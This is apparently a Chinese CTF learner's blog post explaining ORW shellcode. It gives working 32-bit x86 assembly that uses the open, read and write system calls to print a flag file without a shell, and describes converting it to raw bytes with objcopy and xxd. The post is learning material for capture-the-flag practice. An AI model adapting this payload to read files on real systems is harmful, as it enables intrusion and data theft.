orz

　　依稀还记得前段时间做hgame的题，考出了ORW，当时候半懂不懂的就糊弄过去了。现在又学习一遍，感觉思路清晰了很多，所以记录一下。

　　上篇随笔写道系统调用，这次的ORW还是通过系统调用实现。顺便贴个系统调用全表的地址：

　　http://syscalls.kernelgrok.com/

　　在里面可以看到所有函数的调用规则。

　　说回ORW，ORW就是open、read、write，通过调用这三个函数，如果在比赛中知道flag 的路径，就不需要拿到shell也可以拿到flag。

　　贴一下写的汇编代码了：

　　

jmp sh

run:
    pop ebx
    mov eax,0x5
    mov ecx,0x0
    int 0x80

    mov ebx,eax
    mov eax,0x3
    mov ecx,esp
    mov edx,0x10
    int 0x80

    mov eax,0x4
    mov ebx,0x1
    mov ecx,esp
    mov edx,0x10
    int 0x80

    xor eax,eax
    inc eax
    int 0x80
sh:
    call run
    db"flag.txt",0x0

 

　　代码很简单，就是c语言调用了这样的函数。open("flag.txt",0) read($eax,esp,0x10) write(1,esp,0x10)代码可能不规范，但是大致意思是这样的，最后还调用了exit函数。这里学到一条新的汇编，inc是自加的意思。

　　接下来就是生成orw.o，用objcopy去除无用代码，xxd -i生成可直接用的code，然后套上篇随笔的模板，就写出来了。

　　贴几张图纪念一下。